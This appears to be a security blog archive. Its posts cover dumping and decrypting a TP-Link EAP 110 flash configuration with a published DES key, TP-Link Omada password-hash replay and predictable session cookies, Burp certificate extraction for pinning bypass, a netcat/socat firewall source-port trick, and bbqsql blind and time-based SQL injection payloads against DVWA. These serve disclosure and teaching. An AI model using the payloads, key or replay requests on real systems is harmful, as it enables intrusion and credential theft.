TP-Link EAP Flash SPI extraction and investigation (using the Hardsploit)

Tuesday, June 18, 2019


In this post I will be looking at the TP-LINK EAP 110 and what can be extracted from the SPI Flash chip (i.e., local storage). I will demonstrate what can be found, analysed and where the DES key is stored.

WARNING: Proceed with caution when doing any hardware and software (i.e. like re-flashing, changes to firmware and uploading it etc). I can't be held liable for anything you do as a result of this post and/or damage that may occur. This is just an educational post.

TP-LINK EAP hardware 

Hardware used: 
  • Pomona type clip
  • Hardsploit v1.1(link)
  • TP-Link EAP 110

Fig. 1. TP-Link EAP 110 - SPI flash

I started by opening up the TP-LINK EAP 110. After inspecting its internals, I found that it has a SPI Flash TSOP8 SOIC chip (fig. 1.), which is used to store its firmware and configuration settings (as we will see in this article). The markings on the chip are 25Q64CSIG, which is actually a GigaDevice GD25Q64C. It is always a challenge deciphering the markings of a SPI flash. Sometimes manufacturers use a short form due to space limitation. As for the markings, usually the manufacturer manuals will detail what they mean, found towards the end of it.

Fig. 2. Pomona IC test clip 8 pin

In this case, the device can be extracted using a POMONA IC test clip 8 pins (e.g. example or fig. 2.)  and I will viper (i.e., place clip on top) onto the SPI flash. At this stage you have to be very careful not to make any errors. Make sure and double check where pin 1 is and to wire up the voltage correctly. If done incorrectly you will end up burning your chip and board, and possibly any thing else too. Voltage pins are not always required, but if you do need to power the target board be very careful.

Make sure to read the SPI flash chips documentation. This is in the form of the datasheet (e.g. GD25Q64C ext. link). It will include a lot of the hardware and software details needed to talk to the chip. Things to look out for and make a note of: command op codes (i.e., Read 0x03, manufacturer ID 0x90), maximum voltage, maximum operating frequency, chip size, page size, pin layout (i.e., standard SPI pins compared to dual or quad), timing details as graphs, any security considerations (i.e., write protect), memory layout etc.

WARNING: Always make sure that the voltage of the SPI flash chip is rated the same as the output pins of the device that you are using.

The Hardsploit provides the ability for the user to pick the output voltage of the pins. Make sure it is correct and compatible. If the chip supports 3.3 volts then ensure the kit is set to 3.3 volts or ensure that the kit doesn't output more. Usually you can tell or quickly test it with the Saleae Pro voltage view.

Wiring and setup 

Wiring tends to be very standard with SPI flash chips, at least the handful ones I have seen. Always double check in case it is different with the particular manufacturer. But overall the layout remains the same across manufacturers, but double check!

Here is an example of the wiring of the SPI flash chip I am looking at in this post.

Fig. 3. SPI Flash - 8 pin
What I now need to do is wire it all up. I will use Dupont cables/jumper wires (example) or what ever you call them in your area, they have many names. You can start wherever you like. I start with wiring the Pomona clip, since mine has a breakout board. Do a test run and see which end is the easiest to wire. If you don't have a breakout make sure then to start with the Hardsploit.

Within the Hardsploit application it is possible to define the layout of the chip (fig. 3. and 5.) and this will then indicate which I/O pin on the Hardsploit corresponds to which pin on the SPI chip. These will be one-to-one direct connections. So when it says SO it will map to a SO pin (chip or target board). Check the next section for detailed instructions on wiring the chip with the Hardsploit.

Read the whole article before you begin any wiring. Usually completing the configuration of the Hardsploit will help before starting to wiring it all up.

I tend to have my Hardsploit unplugged from the USB port, while I complete the wiring with the target board. This ensures that, if I am applying my own power, I am not shorting any unwanted pins with the Pomona clip. Not applying power straight away also allows me to ensure that the wiring is correct before powering it all on. At this point I go over all the wiring just in case I missed something.

Once I am sure all the wiring is correct, I can plug in the Hardsploit to the computer and I can start the associated application (i.e. hardsploit_gui). If you are powering the target board using the Hardsploit then you will notice the target board lighting up, very faintly. This tends to be a good sign and you should extract the SPI flash as fast as possible, before any changes occur to it.

When I have completed the extraction, I tend to remove the USB cable from the Hardsploit or computer as a way to power down the system.

Extracting the firmware (hardware)

To plug and unplug the Hardsploit from the target device, see the previous section.

Fig. 4. Hardsploit - add chip component

Without any wiring to the target device yet plug in the Hardsploit to the computer and start up the GUI interface hardsploit_gui. On the right at the bottom of the available chips (fig. 9.) there is a create component. From there you can add a new SPI flash chip, and not only (fig. 4.).
Fig. 5. Hardsploit - chip setup

Provide a name and a description. Select the appropriate voltage, mine is 3.3v. Select a manufacturer. GigaDevice is not in the default database so I add it in the Other field. I then select MEMORY as a type and TSOP as the package. These will be important for the wiring later on. Next we will define the pin layout as defined in the manual provided by the manufacturer. Select SPI under Bus and then a few SPI signals will appear under Signal (fig. 4 and 5). Feel free to use the NA if something is not used or as a placeholder (i.e., to show that you completed the wiring).

Under Settings I will setup the Mode as 0, the Read Command as 0x3, the frequency 15Mhz, the total size 8388608 and the page size 256 (fig. 6).

Fig. 6. Hardsploit - chip settings

Sometimes you might need to vary the frequency to get the anticipated results. I found the 15Mhz worked just fine for this chip.

Once the setup is complete you will need to find out what the wiring is from the Hardsploit board for each pin. Under Wiring, a window will present the SPI chip and by selecting the mapped out chip legs (fig. 7.) a light on the Hardsploit board will light up (fig. 8.). This pin will map out to the SPI flash pin or Pomona clip.
Fig. 7. Hardsploit - Example of wiring selection and pin light up (different chip)

When you have finished the wiring you can then plug into the target device, as I mentioned before. That is, unplug the Hardsploit from the computer, clip onto the SPI flash chip and then provide connectivity and power by plugging in the Hardsploit back into the computer. You might need to restart the GUI application.

Fig. 8. Hardsploit - wiring light up of SPI pin 1 (NB, might differ based on setup)

If everything is up and running you should now be able to select the SPI Chip (Current chip) and then select Read. Provide an appropriate file name, Full Read and Read to start the process (fig. 9.).

Fig. 9. Hardsploit - Read file

You can verify the extraction process by having a quick look using the hexdump command. You should see some hex values instead of all 0x0.
hexdump -C filename.bin  | more

Firmware analysis (software)

There are a number of ways that you can approach this task. Since I had access to the device is was easy for me to check what was available to me from within the OS. Within the Web admin, I enabled SSH access and then connected to the Access Point. It seems that uclited provides you with a lot of information and functionality (i.e., /usr/bin/uclited -p). In figure 10, you can see the partition tables of the flash as mapped out. These are identical to those of the dumped flash chip. Enjoy!

Fig. 10. Partition locations and sizes via uclited
Once I extracted the firmware from the SPI flash chip the next step was to analyse it. Passing it to binwalk provided some information but nothing really worth noting. The reason for this is that the configuration is encrypted.

Researchers have found the symmetric key and managed to decrypt the exported configuration. This gave me the idea that the configuration stored in the SPI flash chip would also be encrypted. I would therefore need to extract it. Again, there are a number of ways to extract the configuration. You could automate it.

Extract the user configuration
The configuration is stored at position 0x7C0000 (8126464 decimal) and has a size of 0x10000 (65536 decimal), fig. 10. There is also a header which I will remove as it is not needed for the extraction process. You can look into it if you like. The extra header info 152 bytes (0x98 bytes) in size. So we add to the offset (0x7C0000+0x98=0x7C0098) and subtract from the size (0x10000-0x98=0xFF68).

New offset is: 0x7C0098 (8126616 bytes)
New size is : 0xFF68 (65384 bytes)

$ dd if=extracted-flash.bin of=config.bin skip=8126616 count=65384 bs=1

The next thing that is required is the decryption of the config section. As I mentioned before, there is work that was carried out by (link) that I came across and details how they found the key. The decryption key is 478DA50BF9E3D2CF. I did my own investigation, you can find it in the next section. Decoding can be achieved in a number of ways, one that works in Linux and Mac OS involves using OPENSSL, the command follows:

$ openssl enc -d -des-ecb -K 478DA50BF9E3D2CF -nopad -in config.bin -out config.lztp 

Once decoded I end up with a zlib file. You can check this by looking for the zlib magic numbers (RFC 1950), which are 789C. If you run binwalk it should report that a zlib section has been detected. Extraction is completed with the -e flag:

$ binwalk -e config.lztp
If you want to look into zlib process that TP-Link use there is a small conversation at this link.

I have not gone into depth with analysing the Operating System's files. These can be eassily dumped using binwalk over the OS section.

Reversing to find the config DES key 

Software used: Cutter (radare2)

I managed to do some reversing of the binaries (extracted from above) in order to find where the DES key is being used. Initially, I did a grep to find which application would have the DES key. I was lucky and found that key was in the executable uclited.

Fig. 11. The DES key as found in uclited 

The same key is used in a number of areas and functions. As can be seen in fig. 11. the location of the DES key is shown. From there I used xfers (e.g., track which functions make calls to the address) which showed two interesting functions that relate to the user configuration, fig. 12.

Fig. 12. The DES key as found in uclited with the two functions that use it.

Device Forensics

I have demonstrated how to dump and extract the user configuration from the TP-Link EAP 110.

The configuration contains the configured username, password of the system, the APs and WPA/WAP2 passphrases used and any other possible configurations.

There was no log data found.

Since this post has become so large I will make a separate post about any other possible forensic artefacts that can be extracted from the system.


I can honestly say that I am really impressed with the ability of Hardsploit to dump a wide variety of SPI flash chips, especially when dealing with in system programming (ISP), i.e. those SPI chips that are still on board. It is great to be able to extract a chip's contents with minimal damage and interference to the circuit.

The reason this post makes use of the Hardsploit is because I have tried other types of boards and found that the Hardsploit tends to be the most reliable and with the best results every time. At least for me, and I have analysed quite a few boards and chips which have not made it to a blog post. Maybe I should make a list of chips I have dumped using the Hardsploit as a live document and testament to its versatility. Other types of devices I have used or attempted to extract SPI chip devices in-circuit included: The Shikra, Buspirate and a Raspberry Pi. These are not always successful in dumping anything in ISP mode. 

What is interesting with routers and Access Points is how easy it is to access them and dump the SPI chips using the Hardsploit and Pomona clips.

TP-LINK EAP and OMADA mobile app authentication issues

Wednesday, June 05, 2019

Summary (TL;DR)
In short this article shows how to gain access to a TP-LINK EAP Access Point if the credentials are stored on the mobile application, Omada, and it re-authenticates with the router. The best part is, it is possible to reset the password on the device without ever knowing the password. Just by using the captured MD5 hash. It is also possible to use the session cookie used by the mobile application to login using the web. Weak session tokens also means that it is possible to figure out a session token used, under certain circumstances.

I got hold of some TP-LINK EAP225 V1 and EAP110 V4 Access Points (AP) to play with. They are targeted at small businesses and provide reasonable functionality and connectivity.

The ecosystem is also supported by a mobile app with some information about the AP shown to the user. The application is called OMADA and the username and password are stored locally. The Greek word for group is omada.

Intercepting the traffic using a proxy like Burp Suite Scanner or OWASP ZAP is not an issue since even though TLS is used by the OMADA app it is still possible to capture the traffic with no issues.

Tested versions of Router Firmware :

EAP225 1.4.0 onwards

EAP110 3.1.0 onwards

Password hash and login
If the mobile application doesn't have an active session it will authenticate with the router. At that point in time it is possible to intercept the username and password hash. TLS is not enforced or can easily be bypassed.

The password hash is currently a MD5 hash of the password set by the user. Due to the fact that only the password is used in the MD5 hashing function, it therefore stays static and is easy reuse. The same process is used on the mobile application and the website (desktop). The default password is admin, so we have 21232f297a57a5a743894a0e4a801fc3 (MD5) as the hash.

Fig. 1. Login POST captured

If the same password is used on multiple devices, it is possible to capture the hash from one authentication process and reuse the hash to login to any other device.

Fig. 2. POST URL decoded 
As mentioned before the web admin interface has javascript that implements the MD5 functionality.

Password reset (logged in)
Once you have logged in with the password hash (MD5), as described above, it is then possible to change the password. Therefore, we get to set the password to one we know.
Request (sample) :
POST /data/userAccount.json?_=
operation=write&curUserName=adm1n&newUserName=admin&curPassword= 21232f297a57a5a743894a0e4a801fc3&newPwd= 21232f297a57a5a743894a0e4a801fc3

Password hash and username retrieval (logged in)
I am not sure why this API feature is available, but if logged in or if you have a valid session it is possible to get the password hash and username. This can be used to reset the password or to login in the future (session hijacking not required any more).

Request (sample) :
GET /data/userAccount.json?operation=read
POST /data/userAccount.json 
Response :
Fig. 3. Example of username and password returned

Session hijacking via cookie stealing (from mobile application to website)
It is possible to copy the cookie from the mobile app (the one set) and use it to log into using the web interface without knowing the password or user name.

Cookie tokens have very poor entropy. I did an analysis using Burp Suite Pro Sequencer and it reported 0 bits of entropy.

Session brute force 

I used the following GET to test if the cookie was valid or not and I noticed the difference in the payload size.
GET /data/status.device.json?operation=read&_=
If the cookie is not valid it will offer to set a new one on any page. You can make a request and get the current session ID on offer. The one used will be less than that one. Brute force downwards. The tokens are not really random, but they sort of increment and probably based on time or an internal counter.

When it reboots the counter resets to zero and so the cookies that are given have only very low bits set. So an easy way to get a session would be to get the router to reboot and then get the app or user to login.

The cookies are 16 bytes long and look like they have a fixed prefix. The one I tested produced the following tokens:
c0a8000c00001100 or c0a8000c00001a00
This will provide an easy 4 character abcdef0123456789 would give 65,536 combinations to try. You could work smarter and reduce the search size by working to de-increment it from the current set cookie captured. It will be about timing it all in the end.

Another way to predict a token would be to flood the router with requests and notice when the user logged in. The token would be one that was not offered to you or at least you can narrow down the token pattern based on when the user logged in.

CSRF protection
There is none !

Proposed solutions for Login and the password hash: 

A solution that could be implemented by the router is a challenge response in the form of a composite password.

The router could send a variable seed that is used in a MD5 function.

password_challenge = MD5(CONCAT(password, seed))

password_challenge is a password challenge computed and sent to the router for authenticating
password is the users password
seed is the seed string sent to the client to utilise. This should be at least 64bits in length.
MD5 is the MD5 hashing function
CONCAT is a concatenating function that will join the password and seed


Similar to the above solution but instead of creating a composite password, the seed is used as a secret to a HMAC function but first it is processed as a MD5 hash.

password_challenge = HMAC_SHA256(MD5(password),MD5(seed))

password_challenge is a password challenge computed and sent to the router for authenticating
password is the users password
seed is the seed string sent to the client to utilise. This should be at least 64bits in length.
MD5 is the MD5 hashing function
HMAC_SHA256 = HMAC hashing function using SHA256

Ideally SHA256 should be used instead of MD5, but anything will be an improvement to the current fixed password hash.

Password Replay attacks 
The idea behind the proposed solutions is to provide a synchronised seed that the router has and uses as a way to authenticate. The router will have a variable seed and therefore password replay will not be possible unless the password is known or brute-forced.

Password resets will also not be possible if a seed is used when the password reset is carried out.

P.S: Always double check encryption solutions with an expert in Cryptography.

Device Forensics 
In my next post I will do some TP-LINK EAP forensics and what to expect when dumping the flash memory.

Burp Suite Pro Proxy, TLS certificate and iOS 12

Thursday, May 16, 2019

If you are having issues with loading the TLS certificate from Burp Suite Pro onto your iPhone/iDevice running Apple's iOS 12 you are not alone.

It seems that when you click on 'CA Certificate' after browsing to http://burp it now only downloads the .DER file, instead of asking to load it as a Profile.

The one solution I found is as follows. You can load it from the Mail app found on your iPhone/ iDevice. Send it via email to yourself and load the email via the Mail app. From there it will prompt you and install it correctly. Just don't forget the next step.

Don't forget to go to the "Enable full trust for root certificates" as detailed here: Otherwise you might still have issues getting secure traffic through.

Happy proxying.

Test setup:
Burp Suite Pro v1.7
iPhone iOS 12 

Extract SSL/TLS certificate from Burp Suite Proxy for implanting

Saturday, April 01, 2017

Sometimes you want to include that certificate that Burp Suite generates and place it somewhere, (e.g., into a mobile app. to bypass Certificate pinning).

Here is how to extract the certificate using Kali 2016 Rolling.

proxytunnel -p LOCAL_IP_BURP_LISTENING_ON:LOCAL_PORT_BURP_LISTENING_ON -d DOMAIN_YOU_WANT:443 -a 7000 & openssl s_client -connect localhost:7000 -showcerts </dev/null 2>/dev/null | openssl x509 -outform der > mycert.der

Options are :

  • LOCAL_IP_BURP_LISTENING_ON is the IP address that Burp Suite Proxy is set to listen on.
  • LOCAL_PORT_BURP_LISTENING_ON is the port  that Burp Suite Proxy is set to listen on.
  • DOMAIN_YOU_WANT is the domain you want to spoof. This can also include subdomains and a wildcard (e.g., or *
  • mycert.der is the DER file generated. Don't forget to rename it to what the application is expecting. 

For example:
proxytunnel -p -d * -a 7000 & openssl s_client -connect localhost:7000 -showcerts </dev/null 2>/dev/null | openssl x509 -outform der > mycert.der

Here my Burp Suite proxy is listening on and 8080, * is the example domain I want on my cert and it is name mycert.der. 

P.S: Don't forget if you are working with team mates, you can easily query their Burp Suite proxy. 


If you want to check your results, you will need to convert from the one format to the other. So convert DER to PEM : 

openssl x509 -inform der -in mycert.der -out mycert.pem

And then check your results. 

openssl x509 -in mycert.pem -text -noout

Burp Suite Portswigger - ssl-tls issue [solution]

Saturday, April 01, 2017

Burp Suite Portswigger standalone instance [solution]

Cheers to for the idea and useful tips:

If you are having issues with intercepting SSL/TLS connections in Burp Suite on a Mac OS X then try the following:

local_policy.jar and US_export_policy.jar

/Applications/Burp Suite

Listen and forward a connection by changing the source port - socat and netcat

Thursday, June 16, 2016

Listen and forward a connection by changing the source port - socat and netcat

Assume you want to connect to port 22 on a machine numbered and source port 53 will allow you through the firewall. We will setup to listen on port 2323. Here are two methods that you can try:

socat TCP4-LISTEN:2323,fork TCP-CONNECT:,sp=53
ssh -p 2323
Listen on port 2323 and then connect to an IP address on port 22 and set the source port of 53 to the outgoing packet.

mkfifo myfifo
nc -p 53 22 < myfifo | nc -l -p 2323 > myfifo
ssh -p 2323
Second netcat is listening on port 2323 and then pushing the contents to the fifo. Once you connect the first netcat command is executed, which connects to the server on port 22 and sets the source port to 53. The contents are taken from the fifo (e.g., myfifo) push from the second command.

Update: Works in Kali 2

How to use bbqsql - Not so Blind and Blind SQLi

Sunday, February 28, 2016

Disclaimer: This information is provided for educational and professional use only.

What is needed :
bbqsql 1.1
Damn Vulnerable Web App (DVWA) v1.9
OWASP ZAP v2.4.3 / Burp

In this post I will be exploring how to make use of bbqsql by Neohapsis. bbqsql ( is a tools that can be used to conduct normal sql injection and blind sql injection. It first made its appearance at Defcon 20 (

After conducting a small search on Google I found very limited resources about it. I guess this in turn would naturally lead to the application being used more sparingly.

bbqsql can be found in Kali 2.0. Unfortunately the version that is shipped has a coding error and it is advised to update to the newer version. My tests used version bbqsql 1.1.

Download the new version as follows :
$ pip install --upgrade bbqsql
In my case it was installed in /usr/local/bin/bbqsql you can easily delete the old version that resides in /usr/bin and copy the one from /usr/local/bin/bbqsql :
$ whereis bbqsql
bbqsql: /usr/bin/bbqsql /usr/local/bin/bbqsql
$ cp /usr/local/bin/bbqsql /usr/bin/bbqsql
Check the version you have:
$ bbqsql -V
bbqsql 1.1 
Before starting make a note of the working directory. This is where your configuration is exported to and imported from.
$ pwd
Once you have the program up and running we need to go to DVWA and test the injection point. I will assume yo have done the hard part and installed DVWA.

Login and downgrade the security difficulty level to low.

We will make use of the SQL injection section in order to see the results to allow for us to judge a true and a false result. Once you have mastered this you can move to the Blind SQLi section. We know from axperiecnce with DVWA that there is an injection point on the page 'SQL Injection'. A simple ' will cause the system to produce an error. And if we enter ' or '0'='0 we get all the users listed. So we will use this injection point to insert a subtraction and comparison statement. A nice break down of what is does is presented in the Defcon 20 pdf.

So lets test this query. Notice that it makes use of the user() function in MySQL ( Once you have this working, any query can be used from there on. More MySQL commands can be found in various cheat sheets like

DVWA low security:

This query provides a number of results ('User ID exists in the database.' on sqli_blind ):
' or ascii(substr(user(),1,1))>0 #
Where as the opposite provides none('User ID is MISSING from the database.' on sqli_blind).
' or ascii(substr(user(),1,1))<0 #
These can be used to create the query template. Based on the examples provided these become:

' or ASCII(SUBSTR(user(),${char_index:1},1))${comparator:>}${char_val:0} #

In this case we will use the variation in the content to identify a true or false statement.

Lets have a look at what options we need to set in the first set. Option 1 'Setup HTTP Parameters' has a number of options. Let focus on the ones we will be using.

Fig.1 - Setup HTTP Parameters

Option 2 'cookies' will be used to set the cookies. Make sure to set the right option otherwise you will get the wrong results back. DVWA looks at the cookie value sent to set the security settings before processing the request. I copied mine from ZAP.
'security': 'low', '  PHPSESSID': '0dfr898d44oh55movkfgrtfts7'
 Next set the correct URL with the correct injection point. Remember the program supports a number of injection points, URL, cookie and data (check the slides for examples). Again use ZAP or tcpdump etc. to get the correct URL and arguments. In this case it is :
This is then changed to include the injection point:${injection}&Submit=Submit#
Option 5 'proxies' can be useful for debugging by using OWASP ZAP or Burp:
{"http": ""}
Option 7 'method'
Go back using '99' or 'done'
Option 2 'Setup BBQSQL Options' is where we setup the programs functionality.

Option 1 'technique' is for setting the technique, we will leave it to binary_search. Remember if you enter a menu you need to set a value. Enter will set a NULL value.

Option 2 'comparison_attr' will be used quite often. Have a look at the different options. For now we will set it to content as we know it changes.
Finally, Option 5 'query' will have our custom query. This is the one we created above.

bbqsql will make a number of test attempts and provide you with its results. If these are successful it will print out the results and will ask you if you want to continue.

' or ASCII(SUBSTR(user(),${char_index:1},1))${comparator:>}${char_val:0} #

Fig. 2 - Setup BBQSQL Options (time-based) 

Once it is all setup exit 'Setup BBQSQL Options' and get ready to run bbqsql.
Due to the fact that the program may crash it is advised that you save your settings.
Once you have exported (i.e,saved) your config you can attempt to run it. This is achieved with Option 5 'Run Exploit' from the main menu.
If this works you will start to see the user and the ip address/ hostname:

In the images I have provided you will have noticed that the commands are different. I have done a demo of a time based attack and demonstrated it as well. The templates for it can be found below. Passing bbqsql through ZAP/Burp will allow you to better understand how it finds the data.

Fig. 3 - Execution and results of initial tests (time-based attack)

Fig. 4 - Extraction Results and Statistics

Fig. 5 - Final Results and Main Menu

Time-based Blind SQL Injection examples:

A simple function call example (I had to use ',1' as I was getting column errors. I checked this inputting it manually in the browser):

' UNION SELECT IF(ascii(substr(user(),1,1))>0,BENCHMARK(5000000,ENCODE('MSG','by X seconds')),null),1 #

Query Template:

' UNION SELECT IF(ASCII(SUBSTR(user(),${char_index:1},1))${comparator:>}${char_val:0} ,BENCHMARK(5000000,ENCODE('MSG','by X seconds')),null),1 #

A more advanced select query (Here it is using offsetting to find the value):

' UNION SELECT IF(ascii(substr(SELECT user FROM mysql.user LIMIT 1 OFFSET 1 ,1,1))>0,BENCHMARK(5000000,ENCODE('MSG','by X seconds')),null),1 #

Query Template (I have added ${sleep:50000} but I have noticed it is not very effective as variable) (this 'time' method is faster, compared to 'content' checking):

' UNION SELECT IF(ASCII(SUBSTR(( SELECT user FROM mysql.user LIMIT 1 OFFSET ${row_index:1} ),${char_index:1},1))${comparator:>}${char_val:0} ,BENCHMARK(${sleep:50000},ENCODE('MSG','by X seconds')),null),1 #

Query Template another example:

' UNION SELECT IF(ASCII(SUBSTR(( SELECT column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' LIMIT 1 OFFSET ${row_index:1} ),${char_index:1},1))${comparator:>}${char_val:0} ,BENCHMARK(${sleep:50000},ENCODE('MSG','by X seconds')),null),1 #
Try getting the same results with DVWA medium security and above.